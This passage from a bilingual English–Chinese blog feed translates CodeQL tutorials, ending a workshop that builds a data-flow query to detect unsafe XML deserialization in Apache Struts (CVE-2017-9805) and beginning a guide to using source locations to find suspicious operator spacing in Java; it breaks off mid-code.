program?</p><blockquote><p>在程序分析中，我们称之为_数据流_问题。数据流帮助我们回答这样的问题：这个表达式是否曾经持有一个源自程序中其他特定地方的值？</p></blockquote><p>We can visualize the data flow problem as one of finding paths through a directed graph, where the nodes of the graph are elements in program, and the edges represent the flow of data between those elements. If a path exists, then the data flows between those two nodes.</p><blockquote><p>我们可以把数据流问题想象成一个通过有向图寻找路径的问题，图中的节点是程序中的元素，而边则代表这些元素之间的数据流。如果存在一条路径，那么数据就在这两个节点之间流动。</p></blockquote><p>Consider this example Java method:</p><blockquote><p>考虑这个Java方法的例子:</p></blockquote><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">func</span><span class="params">(<span class="keyword">int</span> tainted)</span> </span>{</span><br><span class="line">   <span class="keyword">int</span> x = tainted;</span><br><span class="line">   <span class="keyword">if</span> (someCondition) {</span><br><span class="line">     <span class="keyword">int</span> y = x;</span><br><span class="line">     callFoo(y);</span><br><span class="line">   } <span class="keyword">else</span> {</span><br><span class="line">     <span class="keyword">return</span> x;</span><br><span class="line">   }</span><br><span class="line">   <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>The data flow graph for this method will look something like this:</p><blockquote><p>这个方法的数据流图会是这样的:</p></blockquote><img src="https://gitee.com/samny/images/raw/master/20u06er20ec/20u06er20ec.png" alt="drawing" width="260"><p>This graph represents the flow of data from the tainted parameter. The nodes of graph represent program elements that have a value, such as function parameters and expressions. The edges of this graph represent flow through these nodes.</p><blockquote><p>这个图表示污点参数的数据流。图的节点代表有值的程序元素，如函数参数和表达式。该图的边代表流经这些节点的流量。</p></blockquote><p>CodeQL for Java provides data flow analysis as part of the standard library. You can import it using <code>semmle.code.java.dataflow.DataFlow</code>. The library models nodes using the <code>DataFlow::Node</code> CodeQL class. These nodes are separate and distinct from the AST (Abstract Syntax Tree, which represents the basic structure of the program) nodes, to allow for flexibility in how data flow is modeled.</p><blockquote><p>CodeQL for Java提供的数据流分析是标准库的一部分。你可以使用<code>semmle.code.java.dataflow.DataFlow</code>导入它。该库使用<code>DataFlow::Node</code>CodeQL类对节点进行建模。这些节点与AST（Abstract Syntax Tree，表示程序的基本结构）节点是分开的，有别于AST节点，以便灵活地对数据流进行建模。</p></blockquote><p>There are a small number of data flow node types – expression nodes and parameter nodes are most common.</p><blockquote><p>有少量的数据流节点类型–表达式节点和参数节点是最常见的。</p></blockquote><p>In this section we will create a data flow query by populating this template:</p><blockquote><p>在本节中，我们将通过填充这个模板来创建一个数据流查询:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">/**</span><br><span class="line"> * @name Unsafe XML deserialization</span><br><span class="line"> * @kind problem</span><br><span class="line"> * @id java/unsafe-deserialization</span><br><span class="line"> */</span><br><span class="line">import java</span><br><span class="line">import semmle.code.java.dataflow.DataFlow</span><br><span class="line"></span><br><span class="line">// TODO add previous class and predicate definitions here</span><br><span class="line"></span><br><span class="line">class StrutsUnsafeDeserializationConfig extends DataFlow::Configuration {</span><br><span class="line">  StrutsUnsafeDeserializationConfig() { this = "StrutsUnsafeDeserializationConfig" }</span><br><span class="line">  override predicate isSource(DataFlow::Node source) {</span><br><span class="line">    exists(/** TODO fill me in **/ |</span><br><span class="line">      source.asParameter() = /** TODO fill me in **/</span><br><span class="line">    )</span><br><span class="line">  }</span><br><span class="line">  override predicate isSink(DataFlow::Node sink) {</span><br><span class="line">    exists(/** TODO fill me in **/ |</span><br><span class="line">      /** TODO fill me in **/</span><br><span class="line">      sink.asExpr() = /** TODO fill me in **/</span><br><span class="line">    )</span><br><span class="line">  }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">from StrutsUnsafeDeserializationConfig config, DataFlow::Node source, DataFlow::Node sink</span><br><span class="line">where config.hasFlow(source, sink)</span><br><span class="line">select sink, "Unsafe XML deserialization"</span><br></pre></td></tr></tbody></table></figure><ol><li><p>Complete the <code>isSource</code> predicate using the query you wrote for <a href="#section2">Section 2</a>.</p><blockquote><p>使用你为<a href="#section2">第2节</a>写的查询完成 “isSource “谓词。</p></blockquote><details><summary>Hint</summary><ul><li><p>You can translate from a query clause to a predicate by:</p><blockquote><p>你可以通过以下方式从查询子句翻译成谓词: </p></blockquote><ul><li><p>Converting the variable declarations in the <code>from</code> part to the variable declarations of an <code>exists</code></p><blockquote><p>将 “from “部分的变量声明转换为 “exists “部分的变量声明。</p></blockquote></li><li><p>Placing the <code>where</code> clause conditions (if any) in the body of the exists</p><blockquote><p>将 “where “子句条件(如果有的话)放在existence的正文中。</p></blockquote></li><li><p>Adding a condition which equates the <code>select</code> to one of the parameters of the predicate.</p><blockquote><p>添加一个条件，将<code>select</code>等同于谓词的一个参数。</p></blockquote></li></ul></li><li><p>Remember to include the <code>ContentTypeHandlerToObject</code> class you defined earlier.</p><blockquote><p>记住要包含你之前定义的<code>ContentTypeHandlerToObject</code>类。</p></blockquote></li></ul></details><details><summary>Solution</summary><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">override predicate isSource(Node source) {</span><br><span class="line">  exists(ContentTypeHandlerToObject toObjectMethod |</span><br><span class="line">    source.asParameter() = toObjectMethod.getParameter(0)</span><br><span class="line">  )</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure></details></li><li><p>Complete the <code>isSink</code> predicate by using the final query you wrote for <a href="#section1">Section 1</a>. Remember to use the <code>isXMLDeserialized</code> predicate!</p><blockquote><p>使用你为<a href="#section1">Section1</a>写的最后一个查询来完成<code>isSink</code>谓词。记得使用<code>isXMLDeserialized</code>谓词!</p></blockquote><details><summary>Hint</summary><ul><li>Complete the same process as above.</li></ul><blockquote><p>完成与上述相同的过程。</p></blockquote></details><details><summary>Solution</summary><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">override predicate isSink(Node sink) {</span><br><span class="line">  exists(Expr arg |</span><br><span class="line">    isXMLDeserialized(arg) and</span><br><span class="line">    sink.asExpr() = arg</span><br><span class="line">  )</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure></details></li></ol><p>You can now run the completed query. You should find exactly one result, which is the CVE reported by our security researchers in 2017!</p><blockquote><p>您现在可以运行完成的查询。你应该会发现正好有一个结果，这就是我们的安全研究人员在2017年报告的CVE!</p></blockquote><p>For this result, it is easy to verify that it is correct, because both the source and sink are in the same method. However, for many data flow problems this is not the case.</p><blockquote><p>对于这个结果，很容易验证它是正确的，因为源和汇都在同一个方法中。然而，对于很多数据流问题来说，情况并非如此。</p></blockquote><p>We can update the query so that it not only reports the sink, but it also reports the source and the path to that source. We can do this by making these changes:</p><blockquote><p>我们可以更新查询，使其不仅报告汇，而且还报告源和通往该源的路径。我们可以通过做这些改变来实现。</p></blockquote><p>The answer to this is to convert the query to a <em>path problem</em> query. There are five parts we will need to change:</p><blockquote><p>答案是将查询转换为_路径问题查询。我们需要改变的有五个部分:</p></blockquote><ul><li><p>Convert the <code>@kind</code> from <code>problem</code> to <code>path-problem</code>. This tells the CodeQL toolchain to interpret the results of this query as path results.</p><blockquote><p>将”@kind “从 “problem “转换为 “path -problem”。这告诉CodeQL工具链将这个查询的结果解释为路径结果。</p></blockquote></li><li><p>Add a new import <code>DataFlow::PathGraph</code>, which will report the path data alongside the query results.</p><blockquote><p>增加一个新的导入<code>DataFlow::PathGraph</code>，它将在查询结果的同时报告路径数据。</p></blockquote></li><li><p>Change <code>source</code> and <code>sink</code> variables from <code>DataFlow::Node</code> to <code>DataFlow::PathNode</code>, to ensure that the nodes retain path information.</p><blockquote><p>将<code>source</code>和<code>sink</code>变量由<code>DataFlow::Node</code>改为<code>DataFlow::PathNode</code>，以保证节点保留路径信息。</p></blockquote></li><li><p>Use <code>hasFlowPath</code> instead of <code>hasFlow</code>.</p><blockquote><p>使用<code>hasFlowPath</code>代替<code>hasFlow</code>。</p></blockquote></li><li><p>Change the select to report the <code>source</code> and <code>sink</code> as the second and third columns. The toolchain combines this data with the path information from <code>PathGraph</code> to build the paths.</p><blockquote><p>改变选择，将<code>source</code>和<code>sink</code>报成第二列和第三列。工具链将这些数据与<code>PathGraph</code>中的路径信息结合起来，建立路径。</p></blockquote></li></ul><ol start="3"><li><p>Convert your previous query to a path-problem query.</p><blockquote><p> 将之前的查询转换为路径问题查询。</p></blockquote><details><summary>Solution</summary><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line">    /**</span><br><span class="line">    * @name Unsafe XML deserialization</span><br><span class="line">    * @kind path-problem</span><br><span class="line">    * @id java/unsafe-deserialization</span><br><span class="line">    */</span><br><span class="line">import java</span><br><span class="line">    import semmle.code.java.dataflow.DataFlow</span><br><span class="line">    import DataFlow::PathGraph</span><br><span class="line">    </span><br><span class="line">    predicate isXMLDeserialized(Expr arg) {</span><br><span class="line">      exists(MethodAccess fromXML |</span><br><span class="line">        fromXML.getMethod().getName() = "fromXML" and</span><br><span class="line">    arg = fromXML.getArgument(0)</span><br><span class="line">      )</span><br><span class="line">    }</span><br><span class="line">    </span><br><span class="line">    /** The interface `org.apache.struts2.rest.handler.ContentTypeHandler`. */</span><br><span class="line">    class ContentTypeHandler extends RefType {</span><br><span class="line">      ContentTypeHandler() {</span><br><span class="line">    this.hasQualifiedName("org.apache.struts2.rest.handler", "ContentTypeHandler")</span><br><span class="line">      }</span><br><span class="line">    }</span><br><span class="line">    </span><br><span class="line">    /** A `toObject` method on a subtype of `org.apache.struts2.rest.handler.ContentTypeHandler`. */</span><br><span class="line">    class ContentTypeHandlerToObject extends Method {</span><br><span class="line">      ContentTypeHandlerToObject() {</span><br><span class="line">        this.getDeclaringType().getASupertype() instanceof ContentTypeHandler and</span><br><span class="line">    this.hasName("toObject")</span><br><span class="line">      }</span><br><span class="line">    }</span><br><span class="line">    </span><br><span class="line">    class StrutsUnsafeDeserializationConfig extends DataFlow::Configuration {</span><br><span class="line">      StrutsUnsafeDeserializationConfig() { this = "StrutsUnsafeDeserializationConfig" }</span><br><span class="line">      override predicate isSource(DataFlow::Node source) {</span><br><span class="line">        exists(ContentTypeHandlerToObject toObjectMethod |</span><br><span class="line">          source.asParameter() = toObjectMethod.getParameter(0)</span><br><span class="line">        )</span><br><span class="line">      }</span><br><span class="line">      override predicate isSink(DataFlow::Node sink) {</span><br><span class="line">        exists(Expr arg |</span><br><span class="line">          isXMLDeserialized(arg) and</span><br><span class="line">          sink.asExpr() = arg</span><br><span class="line">    )</span><br><span class="line">      }</span><br><span class="line">    }</span><br><span class="line">    </span><br><span class="line">    from StrutsUnsafeDeserializationConfig config, DataFlow::PathNode source, DataFlow::PathNode sink</span><br><span class="line">    where config.hasFlowPath(source, sink)</span><br><span class="line">    select sink, source, sink, "Unsafe XML deserialization"</span><br></pre></td></tr></tbody></table></figure><p><img src="https://gitee.com/samny/images/raw/master/53u45er53ec/53u45er53ec.png" alt="image-20210330204553733"></p><p><img src="https://gitee.com/samny/images/raw/master/4u46er4ec/4u46er4ec.png" alt="image-20210330204604285"></p><p><img src="https://gitee.com/samny/images/raw/master/13u46er13ec/13u46er13ec.png" alt="image-20210330204613764"></p></details></li></ol><pre><code>&lt;/details&gt;</code></pre><p>For more information on how the vulnerability was identified, you can read the <a href="https://securitylab.github.com/research/apache-struts-vulnerability-cve-2017-9805" target="_blank" rel="noopener">blog disclosing the original problem</a>.</p><blockquote><p>关于如何发现该漏洞的更多信息，你可以阅读<a href="https://securitylab.github.com/research/apache-struts-vulnerability-cve-2017-9805" target="_blank" rel="noopener">披露原始问题的博客</a>。</p></blockquote><p>Although we have created a query from scratch to find this problem, it can also be found with one of our default security queries, <a href="https://github.com/github/codeql/blob/master/java/ql/src/Security/CWE/CWE-502/UnsafeDeserialization.ql" target="_blank" rel="noopener">UnsafeDeserialization.ql</a>. You can see this on a <a href="https://github.com/m-y-mo/struts_9805" target="_blank" rel="noopener">vulnerable copy of Apache Struts</a> that has been <a href="https://lgtm.com/projects/g/m-y-mo/struts_9805/snapshot/31a8d6be58033679a83402b022bb89dad6c6e330/files/plugins/rest/src/main/java/org/apache/struts2/rest/handler/XStreamHandler.java?sort=name&amp;dir=ASC&amp;mode=heatmap#x121788d71061ed86:1" target="_blank" rel="noopener">analyzed on LGTM.com</a>, our free open source analysis platform.</p><blockquote><p>虽然我们从头开始创建了一个查询来发现这个问题，但也可以通过我们的一个默认安全查询，<a href="https://github.com/github/codeql/blob/master/java/ql/src/Security/CWE/CWE-502/UnsafeDeserialization.ql" target="_blank" rel="noopener">UnsafeDeserialization.ql</a>来发现。你可以在<a href="https://github.com/m-y-mo/struts_9805" target="_blank" rel="noopener">Apache Struts的脆弱副本</a>上看到这个问题，这个漏洞已经被<a href="https://lgtm.com/projects/g/m-y-mo/struts_9805/snapshot/31a8d6be58033679a83402b022bb89dad6c6e330/files/plugins/rest/src/main/java/org/apache/struts2/rest/handler/XStreamHandler.java?sort=name&amp;dir=ASC&amp;mode=heatmap#x121788d71061ed86:1" target="_blank" rel="noopener">在LGTM.com</a>上分析过了，LGTM.com是我们免费的开源分析平台。</p></blockquote><h2 id="What’s-next"><a href="#What’s-next" class="headerlink" title="What’s next?"></a>What’s next?</h2><ul><li><p>Read the <a href="https://help.semmle.com/QL/learn-ql/java/dataflow.html" target="_blank" rel="noopener">tutorial on analyzing data flow in Java</a>.</p><blockquote><p>阅读<a href="https://help.semmle.com/QL/learn-ql/java/dataflow.html" target="_blank" rel="noopener">用Java分析数据流教程</a>。</p></blockquote></li><li><p>Go through more <a href="https://help.semmle.com/QL/learn-ql/ql-training.html#codeql-and-variant-analysis-for-java" target="_blank" rel="noopener">CodeQL training materials for Java</a>.</p><blockquote><p> 浏览更多<a href="https://help.semmle.com/QL/learn-ql/ql-training.html#codeql-and-variant-analysis-for-java" target="_blank" rel="noopener">CodeQL Java培训资料</a>。</p></blockquote></li><li><p>Try out the latest CodeQL Java Capture-the-Flag challenge on the <a href="https://securitylab.github.com/ctf" target="_blank" rel="noopener">GitHub Security Lab website</a> for a chance to win a prize! Or try one of the older Capture-the-Flag challenges to improve your CodeQL skills.</p><blockquote><p>在<a href="https://securitylab.github.com/ctf" target="_blank" rel="noopener">GitHub安全实验室网站</a>上尝试最新的CodeQL Java Capture-the-Flag挑战，有机会获得奖品! 或者试试以前的Capture-the-Flag挑战，以提高您的CodeQL技能。</p></blockquote></li><li><p>Try out a CodeQL course on <a href="https://lab.github.com/githubtraining/codeql-u-boot-challenge-(cc++)" target="_blank" rel="noopener">GitHub Learning Lab</a>.</p><blockquote><p>在<a href="https://lab.github.com/githubtraining/codeql-u-boot-challenge-(cc++)" target="_blank" rel="noopener">GitHub学习实验室</a>上尝试一下CodeQL课程。</p></blockquote></li><li><p>Read about more vulnerabilities found using CodeQL on the <a href="https://securitylab.github.com/research" target="_blank" rel="noopener">GitHub Security Lab research blog</a>.</p><blockquote><p>在<a href="https://securitylab.github.com/research" target="_blank" rel="noopener">GitHub安全实验室研究博客</a>上阅读更多使用CodeQL发现的漏洞。</p></blockquote></li><li><p>Explore the <a href="https://github.com/github/codeql" target="_blank" rel="noopener">open-source CodeQL queries and libraries</a>, and <a href="https://github.com/github/codeql/blob/master/CONTRIBUTING.md" target="_blank" rel="noopener">learn how to contribute a new query</a>.</p><blockquote><p>探索<a href="https://github.com/github/codeql" target="_blank" rel="noopener">开源CodeQL查询和库</a>，以及<a href="https://github.com/github/codeql/blob/master/CONTRIBUTING.md" target="_blank" rel="noopener">学习如何贡献一个新的查询</a>。</p></blockquote></li></ul>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;CodeQL-workshop-for-Java-Unsafe-deserialization-in-Apache-Struts&quot;&gt;&lt;a href=&quot;#CodeQL-workshop-for-Java-Unsafe-deserialization-in-Apach
      
    
    </summary>
    
    
    
  </entry>
  
  <entry>
    <title>Working with source locations</title>
    <link href="https://summersec.github.io/2021/03/27/Working%20with%20source%20locations/"/>
    <id>https://summersec.github.io/2021/03/27/Working%20with%20source%20locations/</id>
    <published>2021-03-27T11:01:42.000Z</published>
    <updated>2021-03-28T05:59:06.498Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Working-with-source-locations¶"><a href="#Working-with-source-locations¶" class="headerlink" title="Working with source locations¶"></a>Working with source locations<a href="https://codeql.github.com/docs/codeql-language-guides/working-with-source-locations/#working-with-source-locations" target="_blank" rel="noopener">¶</a></h1><p>You can use the location of entities within Java code to look for potential errors. Locations allow you to deduce the presence, or absence, of white space which, in some cases, may indicate a problem.</p><blockquote><p>您可以使用Java代码中实体的位置来查找潜在的错误。通过位置，您可以推断出是否存在空白，在某些情况下，这些空白可能表明有问题。</p></blockquote><h2 id="About-source-locations"><a href="#About-source-locations" class="headerlink" title="About source locations"></a>About source locations</h2><p>Java offers a rich set of operators with complex precedence rules, which are sometimes confusing to developers. For instance, the class <code>ByteBufferCache</code> in the OpenJDK Java compiler (which is a member class of <code>com.sun.tools.javac.util.BaseFileManager</code>) contains this code for allocating a buffer:</p><blockquote><p>Java提供了一套丰富的运算符，具有复杂的优先规则，有时会让开发人员感到困惑。例如，OpenJDK Java编译器中的类ByteBufferCache（它是com.sun.tools.javac.util.BaseFileManager的一个成员类）包含了这样一段分配缓冲区的代码:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ByteBuffer.allocate(capacity + capacity&gt;&gt;1)</span><br></pre></td></tr></tbody></table></figure><p>Presumably, the author meant to allocate a buffer that is 1.5 times the size indicated by the variable <code>capacity</code>. In fact, however, operator <code>+</code> binds tighter than operator <code>&gt;&gt;</code>, so the expression <code>capacity + capacity&gt;&gt;1</code> is parsed as <code>(capacity + capacity)&gt;&gt;1</code>, which equals <code>capacity</code> (unless there is an arithmetic overflow).</p><blockquote><p>据推测，作者的意思是要分配一个缓冲区，这个缓冲区的大小是变量capacity所表示的1.5倍。但事实上，运算符+比运算符&gt;&gt;结合得更紧密，所以表达式capacity+capacity&gt;&gt;1被解析为(capacity+capacity)&gt;&gt;1，等于capacity(除非有算术溢出)。</p></blockquote><p>Note that the source layout gives a fairly clear indication of the intended meaning: there is more white space around <code>+</code> than around <code>&gt;&gt;</code>, suggesting that the latter is meant to bind more tightly.</p><blockquote><p>请注意，源码布局给出了相当明确的预期含义：+周围的空白空间比&gt;&gt;周围的空白空间更多，表明后者的目的是为了更紧密地绑定。</p></blockquote><p>We’re going to develop a query that finds this kind of suspicious nesting, where the operator of the inner expression has more white space around it than the operator of the outer expression. This pattern may not necessarily indicate a bug, but at the very least it makes the code hard to read and prone to misinterpretation.</p><blockquote><p>我们要开发一个查询来发现这种可疑的嵌套，即内部表达式的操作符比外部表达式的操作符周围有更多的白色空间。这种模式可能不一定表明是个bug，但至少会使代码难以阅读，容易被误解。</p></blockquote><p>White space is not directly represented in the CodeQL database, but we can deduce its presence from the location information associated with program elements and AST nodes. So, before we write our query, we need an understanding of source location management in the standard library for Java.</p><blockquote><p>白色空间在CodeQL数据库中并没有直接表示，但我们可以从与程序元素和AST节点相关联的位置信息推断出它的存在。所以，在编写查询之前，我们需要了解Java标准库中的源位置管理。</p></blockquote><h2 id="Location-API"><a href="#Location-API" class="headerlink" title="Location API"></a>Location API</h2><p>For every entity that has a representation in Java source code (including, in particular, program elements and AST nodes), the standard CodeQL library provides these predicates for accessing source location information:</p><blockquote><p>对于每一个在Java源代码中具有表示的实体（特别是包括程序元素和AST节点），标准的CodeQL库提供了这些谓词用于访问源位置信息:</p></blockquote><ul><li><p><code>getLocation</code> returns a <code>Location</code> object describing the start and end position of the entity.</p><blockquote><p>getLocation返回一个Location对象，描述实体的开始和结束位置。</p></blockquote></li><li><p><code>getFile</code> returns a <code>File</code> object representing the file containing the entity.</p><blockquote><p>getFile返回一个File对象，表示包含实体的文件。</p></blockquote></li><li><p><code>getTotalNumberOfLines</code> returns the number of lines the source code of the entity spans.</p><blockquote><p>getTotalNumberOfLines 返回实体的源代码所跨越的行数。</p></blockquote></li><li><p><code>getNumberOfCommentLines</code> returns the number of comment lines.</p><blockquote><p>getNumberOfCommentLines 返回注释行数。</p></blockquote></li><li><p><code>getNumberOfLinesOfCode</code> returns the number of non-comment lines.</p><blockquote><p>getNumberOfLinesOfCode 返回非注释行的数量。</p></blockquote></li></ul><p>For example, let’s assume this Java class is defined in the compilation unit <code>SayHello.java</code>:</p><blockquote><p>例如，我们假设这个Java类定义在编译单元SayHello.java中:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">package pkg;</span><br><span class="line"></span><br><span class="line">class SayHello {</span><br><span class="line">    public static void main(String[] args) {</span><br><span class="line">        System.out.println(</span><br><span class="line">            // Display personalized message</span><br><span class="line">            "Hello, " + args[0];</span><br><span class="line">        );</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Invoking <code>getFile</code> on the expression statement in the body of <code>main</code> returns a <code>File</code> object representing the file <code>SayHello.java</code>. The statement spans four lines in total <code>(getTotalNumberOfLines</code>), of which one is a comment line (<code>getNumberOfCommentLines</code>), while three lines contain code (<code>getNumberOfLinesOfCode</code>).</p><blockquote><p>在main主体的表达式语句上调用getFile，返回一个File对象，代表文件SayHello.java。该语句共跨四行（getTotalNumberOfLines），其中一行是注释行（getNumberOfCommentLines），而三行包含代码（getNumberOfLinesOfCode）。</p></blockquote><p>Class <code>Location</code> defines member predicates <code>getStartLine</code>, <code>getEndLine</code>, <code>getStartColumn</code> and <code>getEndColumn</code> to retrieve the line and column number an entity starts and ends at, respectively. Both lines and columns are counted starting from 1 (not 0), and the end position is inclusive, that is, it is the position of the last character belonging to the source code of the entity.</p><blockquote><p>类位置定义了成员谓词getStartLine、getEndLine、getStartColumn和getEndColumn，分别用于检索实体开始和结束的行号和列号。行和列都从1开始计算（不是0），结束位置是包含的，也就是属于实体源代码的最后一个字符的位置。</p></blockquote><p>In our example, the expression statement starts at line 5, column 3 (the first two characters on the line are tabs, which each count as one character), and it ends at line 8, column 4.</p><blockquote><p>在我们的例子中，表达式语句从第5行第3列开始（该行的前两个字符是tab，每个字符都算作一个字符），它的结束位置是第8行第4列。</p></blockquote><p>Class <code>File</code> defines these member predicates:</p><blockquote><p>类文件定义了这些成员谓词:</p></blockquote><ul><li><p><code>getAbsolutePath</code> returns the fully qualified name of the file.</p><blockquote><p>getAbsolutePath 返回文件的完全限定名称。</p></blockquote></li><li><p><code>getRelativePath</code> returns the path of the file relative to the base directory of the source code.</p><blockquote><p>getRelativePath返回文件相对于源代码基本目录的路径。</p></blockquote></li><li><p><code>getExtension</code> returns the extension of the file.</p><blockquote><p>getExtension 返回文件的扩展名 </p></blockquote></li><li><p><code>getStem</code> returns the base name of the file, without its extension.</p><blockquote><p>getStem 返回文件的基本名称，不含扩展名。</p></blockquote></li></ul><p>In our example, assume file <code>A.java</code> is located in directory <code>/home/testuser/code/pkg</code>, where <code>/home/testuser/code</code> is the base directory of the program being analyzed. Then, a <code>File</code> object for <code>A.java</code> returns:</p><blockquote><p>在我们的例子中，假设文件A.java位于目录/home/testuser/code/pkg中，其中/home/testuser/code是被分析程序的基础目录。然后，返回A.java的File对象:</p></blockquote><ul><li><code>getAbsolutePath</code> is <code>/home/testuser/code/pkg/A.java</code>.</li><li><code>getRelativePath</code> is <code>pkg/A.java</code>.</li><li><code>getExtension</code> is <code>java</code>.</li><li><code>getStem</code> is <code>A</code>.</li></ul><h2 id="Determining-white-space-around-an-operator"><a href="#Determining-white-space-around-an-operator" class="headerlink" title="Determining white space around an operator"></a>Determining white space around an operator</h2><p>Let’s start by considering how to write a predicate that computes the total amount of white space surrounding the operator of a given binary expression. If <code>rcol</code> is the start column of the expression’s right operand and <code>lcol</code> is the end column of its left operand, then <code>rcol - (lcol+1)</code> gives us the total number of characters in between the two operands (note that we have to use <code>lcol+1</code> instead of <code>lcol</code> because end positions are inclusive).</p><blockquote><p>让我们先考虑如何编写一个谓词，计算一个给定二进制表达式的操作符周围的空白空间总数。如果rcol是表达式右边操作数的起始列，lcol是左边操作数的结束列，那么rcol - (lcol+1)给出了两个操作数之间的总字符数（注意，我们必须使用lcol+1而不是lcol，因为结束位置是包含的）。 </p></blockquote><p>This number includes the length of the operator itself, which we need to subtract out. For this, we can use predicate <code>getOp</code>, which returns the operator string, surrounded by one white space on either side. Overall, the expression for computing the amount of white space around the operator of a binary expression <code>expr</code> is:</p><blockquote><p>这个数字包括运算符本身的长度，我们需要将其减去。为此，我们可以使用谓词getOp，它返回操作符字符串，两边各用一个空格包围。总的来说，计算二进制表达式expr的运算符周围的白格量的表达式是:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rcol - (lcol+1) - (expr.getOp().length()-2)</span><br></pre></td></tr></tbody></table></figure><p>Clearly, however, this only works if the entire expression is on a single line, which we can check using predicate <code>getTotalNumberOfLines</code> introduced above. We are now in a position to define our predicate for computing white space around operators:</p><blockquote><p>然而，很明显，只有当整个表达式都在一行上时，这才是有效的，我们可以使用上面介绍的谓词getTotalNumberOfLines来检查。现在我们可以定义用于计算运算符周围空白空间的谓词了。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">int operatorWS(BinaryExpr expr) {</span><br><span class="line">    exists(int lcol, int rcol |</span><br><span class="line">        expr.getNumberOfLinesOfCode() = 1 and</span><br><span class="line">        lcol = expr.getLeftOperand().getLocation().getEndColumn() and</span><br><span class="line">        rcol = expr.getRightOperand().getLocation().getStartColumn() and</span><br><span class="line">        result = rcol - (lcol+1) - (expr.getOp().length()-2)</span><br><span class="line">    )</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Notice that we use an <code>exists</code> to introduce our temporary variables <code>lcol</code> and <code>rcol</code>. You could write the predicate without them by just inlining <code>lcol</code> and <code>rcol</code> into their use, at some cost in readability.</p><blockquote><p>请注意，我们使用了一个 exists 来引入我们的临时变量 lcol 和 rcol。你可以在写谓词时不使用它们，只在使用时内联lcol和rcol，但在可读性上会有一些损失。</p></blockquote><h2 id="Find-suspicious-nesting"><a href="#Find-suspicious-nesting" class="headerlink" title="Find suspicious nesting"></a>Find suspicious nesting</h2><p>Here’s a first version of our query:</p><blockquote><p>这是我们查询的第一个版本:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">// Compute whitespace around operators</span><br><span class="line">int operatorWS(BinaryExpr expr) {</span><br><span class="line">    